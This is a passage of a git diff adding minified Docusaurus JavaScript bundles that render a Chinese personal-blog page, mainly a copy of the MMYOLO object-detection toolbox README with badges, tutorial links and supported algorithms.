x\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e0b\u9762\u8fd9\u90e8\u5206\u662f\u6d4b\u8bd5\u56fe\uff0c\u7eb5\u5750\u6807\u4ee3\u8868Loss\uff0c\u6a2a\u5750\u6807\u4ee3\u8868\u7684\u662fStep\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:r(10618).A+"",width:"640",height:"480"})}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u4e0a\u9762\u7684\u56fe\u7247\u4e0a\uff0c\u66f2\u7ebf\u4e0b\u964d\u7684\u8d8b\u52bf\u548c\u5bf9\u5e94\u7684steps\u4ee3\u8868\u4e86\u5728\u8fd9\u8f6e\u6570\u636e\uff0c\u6a21\u578b\u4e0b\u7684\u6536\u655b\u901f\u5ea6"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u6ce8\u610f:"})}),"\n",(0,s.jsx)(n.p,{children:"\u4f18\u5316\u5668\u7684\u9009\u62e9\u662f\u9700\u8981\u6839\u636e\u6a21\u578b\u8fdb\u884c\u6539\u53d8\u7684\uff0c\u4e0d\u5b58\u5728\u7edd\u5bf9\u7684\u597d\u574f\u4e4b\u5206\uff0c\u6211\u4eec\u9700\u8981\u591a\u8fdb\u884c\u4e00\u4e9b\u6d4b\u8bd5\u3002"})]})}function c(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(p,{...e})}):p(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/06a6c4f2.3480bfc7.js b/en/assets/js/06a6c4f2.3480bfc7.js new file mode 100644 index 0000000..5cf913e --- /dev/null +++ b/en/assets/js/06a6c4f2.3480bfc7.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1121],{28453:(e,n,s)=>{s.d(n,{R:()=>t,x:()=>r});var i=s(96540);const l={},h=i.createContext(l);function t(e){const n=i.useContext(h);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:t(e.components),i.createElement(h.Provider,{value:n},e.children)}},38529:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>a,frontMatter:()=>t,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README","title":"MMYOLO\u5b9e\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"ViT\u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb"},"next":{"title":"model_design.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design"}}');var l=s(74848),h=s(28453);const t={},r="MMYOLO\u5b9e\u73b0",c={},d=[{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb",level:2},{value:"\u6559\u7a0b",id:"\u6559\u7a0b",level:2},{value:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93",id:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93",level:2},{value:"\u5e38\u89c1\u95ee\u9898",id:"\u5e38\u89c1\u95ee\u9898",level:2},{value:"\u8d21\u732e\u6307\u5357",id:"\u8d21\u732e\u6307\u5357",level:2},{value:"\u81f4\u8c22",id:"\u81f4\u8c22",level:2},{value:"\u5f15\u7528",id:"\u5f15\u7528",level:2},{value:"\u5f00\u6e90\u8bb8\u53ef\u8bc1",id:"\u5f00\u6e90\u8bb8\u53ef\u8bc1",level:2},{value:"OpenMMLab \u7684\u5176\u4ed6\u9879\u76ee",id:"openmmlab-\u7684\u5176\u4ed6\u9879\u76ee",level:2},{value:"\u6b22\u8fce\u52a0\u5165 OpenMMLab \u793e\u533a",id:"\u6b22\u8fce\u52a0\u5165-openmmlab-\u793e\u533a",level:2}];function o(e){const n={a:"a",b:"b",code:"code",details:"details",div:"div",font:"font",h1:"h1",h2:"h2",header:"header",i:"i",img:"img",input:"input",li:"li",p:"p",pre:"pre",strong:"strong",summary:"summary",sup:"sup",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,h.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"mmyolo\u5b9e\u73b0",children:"MMYOLO\u5b9e\u73b0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:39"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n ",(0,l.jsx)(n.img,{src:"resources/mmyolo-logo.png",width:"600"}),"\n ",(0,l.jsx)(n.div,{children:"\xa0"}),"\n ",(0,l.jsxs)(n.div,{align:"center",children:["\n ",(0,l.jsx)(n.b,{children:(0,l.jsx)(n.font,{size:"5",children:"OpenMMLab \u5b98\u7f51"})}),"\n ",(0,l.jsxs)(n.sup,{children:["\n ",(0,l.jsxs)(n.a,{href:"https://openmmlab.com",children:["\n ",(0,l.jsx)(n.i,{children:(0,l.jsx)(n.font,{size:"4",children:"HOT"})}),"\n "]}),"\n "]}),"\n \xa0\xa0\xa0\xa0\n ",(0,l.jsx)(n.b,{children:(0,l.jsx)(n.font,{size:"5",children:"OpenMMLab \u5f00\u653e\u5e73\u53f0"})}),"\n ",(0,l.jsxs)(n.sup,{children:["\n ",(0,l.jsxs)(n.a,{href:"https://platform.openmmlab.com",children:["\n ",(0,l.jsx)(n.i,{children:(0,l.jsx)(n.font,{size:"4",children:"TRY IT OUT"})}),"\n "]}),"\n "]}),"\n "]}),"\n ",(0,l.jsx)(n.div,{children:"\xa0"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://pypi.org/project/mmyolo",children:(0,l.jsx)(n.img,{src:"https://img.shields.io/pypi/v/mmyolo",alt:"PyPI"})}),"\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/en/latest/",children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/docs-latest-blue",alt:"docs"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/actions",children:(0,l.jsx)(n.img,{src:"https://github.com/open-mmlab/mmyolo/workflows/deploy/badge.svg",alt:"deploy"})}),"\n",(0,l.jsx)(n.a,{href:"https://codecov.io/gh/open-mmlab/mmyolo",children:(0,l.jsx)(n.img,{src:"https://codecov.io/gh/open-mmlab/mmyolo/branch/master/graph/badge.svg",alt:"codecov"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/master/LICENSE",children:(0,l.jsx)(n.img,{src:"https://img.shields.io/github/license/open-mmlab/mmyolo.svg",alt:"license"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/issues",children:(0,l.jsx)(n.img,{src:"https://isitmaintained.com/badge/open/open-mmlab/mmyolo.svg",alt:"open issues"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/issues",children:(0,l.jsx)(n.img,{src:"https://isitmaintained.com/badge/resolution/open-mmlab/mmyolo.svg",alt:"issue resolution"})})]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/",children:"\ud83d\udcd8\u4f7f\u7528\u6587\u6863"})," |\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/get_started.html",children:"\ud83d\udee0\ufe0f\u5b89\u88c5\u6559\u7a0b"})," |\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/model_zoo.html",children:"\ud83d\udc40\u6a21\u578b\u5e93"})," |\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/en/latest/notes/changelog.html",children:"\ud83c\udd95\u66f4\u65b0\u65e5\u5fd7"})," |\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/issues/new/choose",children:"\ud83e\udd14\u62a5\u544a\u95ee\u9898"})]}),"\n"]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/",children:"English"})," | \u7b80\u4f53\u4e2d\u6587"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u7b80\u4ecb",children:"\u7b80\u4ecb"}),"\n",(0,l.jsxs)(n.p,{children:["MMYOLO \u662f\u4e00\u4e2a\u57fa\u4e8e PyTorch \u548c MMDetection \u7684 YOLO \u7cfb\u5217\u7b97\u6cd5\u5f00\u6e90\u5de5\u5177\u7bb1\u3002\u5b83\u662f ",(0,l.jsx)(n.a,{href:"https://openmmlab.com/",children:"OpenMMLab"})," \u9879\u76ee\u7684\u4e00\u90e8\u5206\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u4e3b\u5206\u652f\u4ee3\u7801\u76ee\u524d\u652f\u6301 PyTorch 1.6 \u4ee5\u4e0a\u7684\u7248\u672c\u3002\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/45811724/190993591-bd3f1f11-1c30-4b93-b5f4-05c9ff64ff7f.gif"})]}),"\n",(0,l.jsxs)(n.details,{open:!0,children:["\n",(0,l.jsx)(n.summary,{children:"\u4e3b\u8981\u7279\u6027"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u7edf\u4e00\u4fbf\u6377\u7684\u7b97\u6cd5\u8bc4\u6d4b"})}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u7edf\u4e00\u4e86\u5404\u7c7b YOLO \u7b97\u6cd5\u6a21\u5757\u7684\u5b9e\u73b0, \u5e76\u63d0\u4f9b\u4e86\u7edf\u4e00\u7684\u8bc4\u6d4b\u6d41\u7a0b\uff0c\u7528\u6237\u53ef\u4ee5\u516c\u5e73\u4fbf\u6377\u5730\u8fdb\u884c\u5bf9\u6bd4\u5206\u6790\u3002"}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u4e30\u5bcc\u7684\u5165\u95e8\u548c\u8fdb\u9636\u6587\u6863"})}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u63d0\u4f9b\u4e86\u4ece\u5165\u95e8\u5230\u90e8\u7f72\u5230\u8fdb\u9636\u548c\u7b97\u6cd5\u89e3\u6790\u7b49\u4e00\u7cfb\u5217\u6587\u6863\uff0c\u65b9\u4fbf\u4e0d\u540c\u7528\u6237\u5feb\u901f\u4e0a\u624b\u548c\u6269\u5c55\u3002"}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6a21\u5757\u5316\u8bbe\u8ba1"})}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u5c06\u6846\u67b6\u89e3\u8026\u6210\u4e0d\u540c\u7684\u6a21\u5757\u7ec4\u4ef6\uff0c\u901a\u8fc7\u7ec4\u5408\u4e0d\u540c\u7684\u6a21\u5757\u548c\u8bad\u7ec3\u6d4b\u8bd5\u7b56\u7565\uff0c\u7528\u6237\u53ef\u4ee5\u4fbf\u6377\u5730\u6784\u5efa\u81ea\u5b9a\u4e49\u6a21\u578b\u3002"}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/27466624/199999337-0544a4cb-3cbd-4f3e-be26-bcd9e74db7ff.jpg",alt:"\u57fa\u7c7b"}),"\n \u56fe\u4e3a RangeKing@GitHub \u63d0\u4f9b\uff0c\u975e\u5e38\u611f\u8c22\uff01\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u6559\u7a0b",children:"\u6559\u7a0b"}),"\n",(0,l.jsxs)(n.p,{children:["MMYOLO \u57fa\u4e8e MMDetection \u5f00\u6e90\u5e93\uff0c\u5e76\u4e14\u91c7\u7528\u76f8\u540c\u7684\u4ee3\u7801\u7ec4\u7ec7\u548c\u8bbe\u8ba1\u65b9\u5f0f\u3002\u4e3a\u4e86\u66f4\u597d\u7684\u4f7f\u7528\u672c\u5f00\u6e90\u5e93\uff0c\u8bf7\u5148\u9605\u8bfb ",(0,l.jsx)(n.a,{href:"https://mmdetection.readthedocs.io/zh_CN/latest/get_started.html",children:"MMDetection \u6982\u8ff0"})," \u5bf9 MMDetection \u8fdb\u884c\u521d\u6b65\u5730\u4e86\u89e3\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["MMYOLO \u7528\u6cd5\u548c MMDetection \u51e0\u4e4e\u4e00\u81f4\uff0c\u6240\u6709\u6559\u7a0b\u90fd\u662f\u901a\u7528\u7684\uff0c\u4f60\u4e5f\u53ef\u4ee5\u4e86\u89e3 ",(0,l.jsx)(n.a,{href:"https://mmdetection.readthedocs.io/zh_CN/3.x/",children:"MMDetection \u7528\u6237\u6307\u5357\u548c\u8fdb\u9636\u6307\u5357"})," \u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u9488\u5bf9\u548c MMDetection \u4e0d\u540c\u7684\u90e8\u5206\uff0c\u6211\u4eec\u4e5f\u51c6\u5907\u4e86\u7528\u6237\u6307\u5357\u548c\u8fdb\u9636\u6307\u5357\uff0c\u8bf7\u9605\u8bfb\u6211\u4eec\u7684 ",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/",children:"\u6587\u6863"})," \u3002"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u7b97\u6cd5\u89e3\u8bfb"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E5%9F%BA%E7%A1%80%E5%86%85%E5%AE%B9",children:"\u5fc5\u5907\u57fa\u7840"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/algorithm_descriptions/model_design.md",children:"\u6a21\u578b\u8bbe\u8ba1\u76f8\u5173\u8bf4\u660e"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E7%AE%97%E6%B3%95%E5%8E%9F%E7%90%86%E5%92%8C%E5%AE%9E%E7%8E%B0%E5%85%A8%E8%A7%A3%E6%9E%90",children:"\u7b97\u6cd5\u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/yolov5_description",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"/en/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/rtmdet_description",children:"RTMDet \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u7528\u6237\u6307\u5357"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/user_guides/index.html#%E8%AE%AD%E7%BB%83-%E6%B5%8B%E8%AF%95",children:"\u8bad\u7ec3 & \u6d4b\u8bd5"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/config.md",children:"\u5b66\u4e60 YOLOv5 \u914d\u7f6e\u6587\u4ef6"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/user_guides/index.html#%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E9%83%A8%E7%BD%B2%E5%85%A8%E6%B5%81%E7%A8%8B",children:"\u4ece\u5165\u95e8\u5230\u90e8\u7f72\u5168\u6d41\u7a0b"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/yolov5_tutorial.md",children:"YOLOv5 \u4ece\u5165\u95e8\u5230\u90e8\u7f72\u5168\u6d41\u7a0b"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/user_guides/index.html#%E5%AE%9E%E7%94%A8%E5%B7%A5%E5%85%B7",children:"\u5b9e\u7528\u5de5\u5177"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/visualization.md",children:"\u53ef\u89c6\u5316\u6559\u7a0b"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/useful_tools.md",children:"\u5b9e\u7528\u5de5\u5177"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u7b97\u6cd5\u90e8\u7f72"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E9%83%A8%E7%BD%B2%E5%BF%85%E5%A4%87%E6%95%99%E7%A8%8B",children:"\u90e8\u7f72\u5fc5\u5907\u6559\u7a0b"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/deploy/basic_deployment_guide.md",children:"\u90e8\u7f72\u5fc5\u5907\u6559\u7a0b"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E9%83%A8%E7%BD%B2%E5%85%A8%E6%B5%81%E7%A8%8B%E8%AF%B4%E6%98%8E",children:"\u90e8\u7f72\u5168\u6d41\u7a0b\u8bf4\u660e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/deploy/yolov5_deployment.md",children:"YOLOv5 \u90e8\u7f72\u5168\u6d41\u7a0b\u8bf4\u660e"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u8fdb\u9636\u6307\u5357"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/advanced_guides/data_flow.md",children:"\u6570\u636e\u6d41"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/advanced_guides/how_to.md",children:"How to"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/article.md",children:"\u89e3\u8bfb\u6587\u7ae0\u548c\u8d44\u6e90\u6c47\u603b"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93",children:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93"}),"\n",(0,l.jsxs)(n.p,{children:["\u6d4b\u8bd5\u7ed3\u679c\u548c\u6a21\u578b\u53ef\u4ee5\u5728 ",(0,l.jsx)(n.a,{href:"docs/zh_cn/model_zoo.md",children:"\u6a21\u578b\u5e93"})," \u4e2d\u627e\u5230\u3002"]}),"\n",(0,l.jsxs)(n.details,{open:!0,children:["\n",(0,l.jsx)(n.summary,{children:(0,l.jsx)(n.b,{children:"\u652f\u6301\u7684\u7b97\u6cd5"})}),"\n",(0,l.jsxs)(n.ul,{className:"contains-task-list",children:["\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolov5",children:"YOLOv5"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolox",children:"YOLOX"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/rtmdet",children:"RTMDet"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolov6",children:"YOLOv6"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/ppyoloe",children:"PPYOLOE"}),"(\u4ec5\u63a8\u7406)"]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolov7",children:"YOLOv7"}),"(\u4ec5\u63a8\u7406)"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.details,{open:!0,children:["\n",(0,l.jsxs)(n.div,{align:"center",children:["\n ",(0,l.jsx)(n.b,{children:"\u6a21\u5757\u7ec4\u4ef6"}),"\n"]}),"\n",(0,l.jsxs)(n.table,{align:"center",children:["\n ",(0,l.jsxs)(n.tbody,{children:["\n ",(0,l.jsxs)(n.tr,{align:"center",vAlign:"bottom",children:["\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Backbones"}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Necks"}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Loss"}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Common"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.tr,{vAlign:"top",children:["\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsxs)(n.ul,{children:["\n ",(0,l.jsx)(n.li,{children:"YOLOv5CSPDarknet"}),"\n ",(0,l.jsx)(n.li,{children:"YOLOXCSPDarknet"}),"\n ",(0,l.jsx)(n.li,{children:"EfficientRep"}),"\n ",(0,l.jsx)(n.li,{children:"CSPNeXt"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsxs)(n.ul,{children:["\n ",(0,l.jsx)(n.li,{children:"YOLOv5PAFPN"}),"\n ",(0,l.jsx)(n.li,{children:"YOLOv6RepPAFPN"}),"\n ",(0,l.jsx)(n.li,{children:"YOLOXPAFPN"}),"\n ",(0,l.jsx)(n.li,{children:"CSPNeXtPAFPN"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsxs)(n.ul,{children:["\n ",(0,l.jsx)(n.li,{children:"IoULoss"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.ul,{children:"\n "}),"\n "]}),"\n "]}),"\n\n \n "]})]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u5e38\u89c1\u95ee\u9898",children:"\u5e38\u89c1\u95ee\u9898"}),"\n",(0,l.jsxs)(n.p,{children:["\u8bf7\u53c2\u8003 ",(0,l.jsx)(n.a,{href:"docs/zh_cn/notes/faq.md",children:"FAQ"})," \u4e86\u89e3\u5176\u4ed6\u7528\u6237\u7684\u5e38\u89c1\u95ee\u9898\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u8d21\u732e\u6307\u5357",children:"\u8d21\u732e\u6307\u5357"}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u611f\u8c22\u6240\u6709\u7684\u8d21\u732e\u8005\u4e3a\u6539\u8fdb\u548c\u63d0\u5347 MMYOLO \u6240\u4f5c\u51fa\u7684\u52aa\u529b\u3002\u6211\u4eec\u5c06\u6b63\u5728\u8fdb\u884c\u4e2d\u7684\u9879\u76ee\u6dfb\u52a0\u8fdb\u4e86",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/projects",children:"GitHub 